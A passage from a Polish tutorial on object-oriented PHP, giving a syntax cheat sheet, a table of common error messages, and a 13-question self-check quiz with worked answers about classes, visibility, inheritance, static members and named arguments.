<li><strong>Właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>.</strong> Dane czytamy getterem, zmieniamy tylko metodą, która pilnuje reguł.</li>



<li><strong>Argumenty nazwane</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(id: 1, tytul: 'A', ...)</code>) przy wielu parametrach — kolejność przestaje mieć znaczenie.</li>



<li><strong>Obiekt przypisany do drugiej zmiennej to ten sam obiekt</strong>, nie kopia.</li>



<li><strong>Typ właściwości to nie walidacja</strong> — dane z pliku i formularza nadal sprawdzamy sami.</li>



<li><strong>Klasa musi być dołączona</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>), inaczej <code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "..." not found</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code> — jedna klasa bazowa; <code class="prettyprint lang-sql" style="font-size: 0.85em;">implements</code> — wiele interfejsów.</strong></li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">const</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">static</code> wywołujemy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">self::</code> (w klasie) lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">NazwaKlasy::</code> (poza nią)</strong> — nie przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Klasa, obiekt, właściwości</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka
{
    private string $nazwa;     // właściwość z typem, tylko dla metod tej klasy
    private int $xp = 0;       // wartość domyślna

    public function __construct(string $nazwa, int $xp)
    {
        $this-&gt;nazwa = $nazwa; // $nazwa — parametr, $this-&gt;nazwa — właściwość obiektu
        $this-&gt;xp = $xp;
    }

    public function pobierzXp(): int          // getter
    {
        return $this-&gt;xp;
    }

    public function czyCenna(): bool          // metoda zwracająca true/false
    {
        return $this-&gt;xp &gt;= 50;
    }

    public function zwiekszNagrode(int $dodatkoweXp): void   // zmiana stanu wg reguły
    {
        if ($dodatkoweXp &lt;= 0) {
            throw new Exception('Nagrodę można tylko zwiększyć.');
        }

        $this-&gt;xp += $dodatkoweXp;
    }
}

$odznaka = new Odznaka('Streak 7 dni', 50);
$odznaka = new Odznaka(nazwa: 'Streak 7 dni', xp: 50);   // argumenty nazwane (PHP 8)
echo $odznaka-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>Modyfikatory dostępu</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Modyfikator</th><th>Dostęp z metod klasy</th><th>Z klasy dziedziczącej</th><th>Spoza klasy</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></td><td>tak</td><td>tak</td><td>tak</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">protected</code></td><td>tak</td><td>tak</td><td>nie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code></td><td>tak</td><td>nie</td><td>nie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Obiekty w tablicy</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaki = &#91;new Odznaka('A', 10), new Odznaka('B', 50)];

$suma = 0;
foreach ($odznaki as $odznaka) {
    $suma += $odznaka-&gt;pobierzXp();     // było: $odznaka&#91;'xp']
}</code></pre>



<p class="wp-block-paragraph"><strong>Klasa w osobnym pliku</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';
$zadanie = new Zadanie(id: 1, tytul: 'A', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);</code></pre>



<p class="wp-block-paragraph"><strong>Dziedziczenie i <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code></strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Postac { protected int $hp = 100; public function czyMartwy(): bool { return $this-&gt;hp &lt;= 0; } }
class Wojownik extends Postac { }          // dziedziczy hp i czyMartwy()

class Profil { final public function nazwa(): string { return 'Użytkownik'; } }
// klasa potomna nie nadpisze nazwa() — Fatal error: Cannot override final method</code></pre>



<p class="wp-block-paragraph"><strong>Stałe i elementy statyczne</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Konfiguracja
{
    const MAX_GRACZY = 100;
    public static int $licznik = 0;

    public function limit(): int { return self::MAX_GRACZY; }   // w klasie: self::
}

echo Konfiguracja::MAX_GRACZY;   // poza klasą: NazwaKlasy::
Konfiguracja::$licznik++;        // bez tworzenia obiektu</code></pre>



<p class="wp-block-paragraph"><strong>Klasa abstrakcyjna i interfejs</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">abstract class PostacGry {
    abstract public function atak(): string;      // brak ciała — musi pojawić się w klasie potomnej
}

interface Zniszczalny {
    public function znisz(): void;                // zawsze public, zawsze bez ciała
}

class Mag extends PostacGry implements Zniszczalny { /* musi mieć atak() i znisz() */ }</code></pre>



<p class="wp-block-paragraph"><strong>Metody magiczne</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function __construct() { }   // przy new
public function __destruct() { }    // gdy obiekt przestaje istnieć (unset() lub koniec skryptu)</code></pre>



<p class="wp-block-paragraph"><strong>Komunikaty błędów i ich przyczyny</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Komunikat</th><th>Przyczyna</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "Zadanie" not found</code></td><td>brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku klasy</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot access private property Zadanie::$tytul</code></td><td>odwołanie do <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> spoza klasy — użyj gettera</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['tytul']</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Too few arguments to function ...::__construct()</code></td><td>brakujący argument przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">must not be accessed before initialization</code></td><td>konstruktor nie ustawił właściwości albo nazwany <code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable $xp</code> w metodzie</td><td>brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot override final method</code></td><td>próba nadpisania metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code></td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph"><strong>1.</strong> Co wyświetli kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka {
    private int $xp = 10;
    public function pobierzXp(): int { return $this-&gt;xp; }
}

$o = new Odznaka();
echo $o-&gt;pobierzXp() + 5;</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Która z linii A–C spowoduje błąd i jaki?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie = new Zadanie(id: 1, tytul: 'Nauka', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);

echo $zadanie-&gt;pobierzTytul();                      // A
echo $zadanie-&gt;tytul;                               // B
echo $zadanie-&gt;czyWykonane() ? 'tak' : 'nie';       // C</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Znajdź błąd. Kiedy się ujawni?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka {
    private string $nazwa;
    public function _construct(string $nazwa) { $this-&gt;nazwa = $nazwa; }
    public function pobierzNazwe(): string { return $this-&gt;nazwa; }
}

$o = new Odznaka('Pierwsze zadanie');
echo $o-&gt;pobierzNazwe();</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co wyświetli ostatnia linia?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Licznik {
    public static int $ile = 0;
    public function __construct() { self::$ile++; }
}

new Licznik();
new Licznik();
echo Licznik::$ile;</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Uzupełnij metodę klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> tak, aby zwracała <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> dla zadania niewykonanego z nagrodą większą niż zero:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function czyDoZrobienia(): bool
{
    return ______ &amp;&amp; ______;
}</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Dlaczego ta metoda nie działa i jak ją poprawić?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function opis(): string
{
    return $nazwa . ' (+' . $xp . ' XP)';
}</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> Co wyświetli kod? Co się zmieni, jeżeli w klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Profil</code> dopiszemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">public function nazwa()</code>?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Profil { public function nazwa(): string { return 'Użytkownik'; } }
class ProfilPremium extends Profil { public function nazwa(): string { return 'Premium'; } }

$p = new ProfilPremium();
echo $p-&gt;nazwa();</code></pre>



<p class="wp-block-paragraph"><strong>8.</strong> Która wersja tworzy obiekt poprawnie?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">a) new Zadanie($id: 1, $tytul: 'A', $opis: '', $termin: '2026-10-01', $wykonane: false, $xp: 10);
b) new Zadanie(id: 1, tytul: 'A', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);
c) new Zadanie(id =&gt; 1, tytul =&gt; 'A', opis =&gt; '', termin =&gt; '2026-10-01', wykonane =&gt; false, xp =&gt; 10);</code></pre>



<p class="wp-block-paragraph"><strong>9.</strong> Ten kod nie działa. Popraw jedną linię:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Konfiguracja {
    const MAX_GRACZY = 100;
    public function limit(): int { return $this-&gt;MAX_GRACZY; }
}</code></pre>



<p class="wp-block-paragraph"><strong>10.</strong> Prawda czy fałsz?</p>



<ul class="wp-block-list">
<li>a) Klasa może implementować wiele interfejsów.</li>



<li>b) Klasa może dziedziczyć po wielu klasach.</li>



<li>c) Można utworzyć obiekt klasy abstrakcyjnej.</li>



<li>d) Metody zadeklarowane w interfejsie są publiczne.</li>
</ul>



<p class="wp-block-paragraph"><strong>11.</strong> Co wypisze ten fragment i dlaczego?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$a = new Odznaka(nazwa: 'A', xp: 10);
$b = $a;
$b-&gt;zwiekszNagrode(5);
echo $a-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>12.</strong> Po zamianie tablic na obiekty ta pętla przerywa skrypt. Podaj komunikat błędu i popraw kod:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadania as $zadanie) {
    echo $zadanie&#91;'tytul'] . ' — ' . $zadanie&#91;'xp'] . ' XP&lt;br&gt;';
}</code></pre>



<p class="wp-block-paragraph"><strong>13.</strong> Zadanie praktyczne. Dopisz do klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPilne(int $dni): bool</code>, która zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy zadanie <strong>nie jest wykonane</strong>, a jego termin przypada <strong>najpóźniej za <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dni</code> dni</strong> (termin na dzisiaj też jest pilny). Wykorzystaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> z Lekcji 7.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">15</code>. Właściwość ma wartość domyślną <code class="prettyprint lang-sql" style="font-size: 0.85em;">10</code>, a getter <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code> jest publiczny, więc odczyt z zewnątrz jest dozwolony.</li>



<li>Linia <strong>B</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Cannot access private property Zadanie::$tytul</code>. Właściwości są <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> — z zewnątrz dostępne tylko przez metody.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code> ma <strong>jeden</strong> podkreślnik, więc jest zwykłą metodą i PHP nie wywoła jej przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code> (argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Pierwsze zadanie'</code> zostanie po prostu zignorowany). Błąd ujawni się dopiero przy odczycie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Typed property Odznaka::$nazwa must not be accessed before initialization</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code>. Właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">static</code> należy do klasy, nie do obiektu — oba wywołania konstruktora zwiększają ten sam licznik. Wewnątrz klasy odwołujemy się do niej przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">self::$ile</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">return !$this-&gt;wykonane &amp;&amp; $this-&gt;xp &gt; 0;</code></li>



<li>W metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwa</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zmienne lokalne, których nie ma (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable</code>) — do właściwości obiektu sięgamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $this-&gt;nazwa . ' (+' . $this-&gt;xp . ' XP)';</code></li>



<li>Wyświetli <code class="prettyprint lang-sql" style="font-size: 0.85em;">Premium</code> — klasa potomna nadpisała metodę. Po dodaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code> w klasie bazowej kod przestanie działać: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Cannot override final method Profil::nazwa()</code>.</li>



<li><strong>b)</strong>. W argumentach nazwanych podajemy nazwę parametru <strong>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code></strong> i po dwukropku; <code class="prettyprint lang-sql" style="font-size: 0.85em;">=&gt;</code> służy do tablic, nie do wywołań.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">const</code> należy do klasy, a nie do obiektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">return self::MAX_GRACZY;</code> (spoza klasy — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Konfiguracja::MAX_GRACZY</code>).</li>



<li>a) prawda, b) fałsz (tylko jedna klasa bazowa), c) fałsz (klasa abstrakcyjna to tylko baza dla potomnych), d) prawda.</li>



<li>Wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">15</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b = $a;</code> nie tworzy kopii obiektu — obie zmienne wskazują ten sam obiekt, więc zmiana wykonana przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b</code> jest widoczna przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code>. Gdyby <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code> było tablicą, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b</code> byłoby kopią i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code> pozostałoby bez zmian.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot use object of type Zadanie as array</code>. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadania as $zadanie) { echo $zadanie-&gt;pobierzTytul() . ' — ' . $zadanie-&gt;pobierzXp() . ' XP&lt;br&gt;'; }</code></li>



<li>Przykładowe rozwiązanie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">public function czyPilne(int $dni): bool { if ($this-&gt;wykonane) { return false; } $granica = new DateTime('today'); $granica-&gt;modify('+' . $dni . ' days'); $termin = new DateTime($this-&gt;termin); return $termin &lt;= $granica; }</code> Sprawdź na granicach: termin wczoraj i <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPilne(3)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> (zadanie po terminie też jest pilne), termin dokładnie za 3 dni i <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPilne(3)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, termin za 4 dni → <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, zadanie wykonane → zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Tak jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime('today')</code>, żeby porównywać daty o tej samej godzinie (00:00), a nie datę z aktualnym czasem.</li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-obiektowo-2/">15. PHP – obiektowo</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
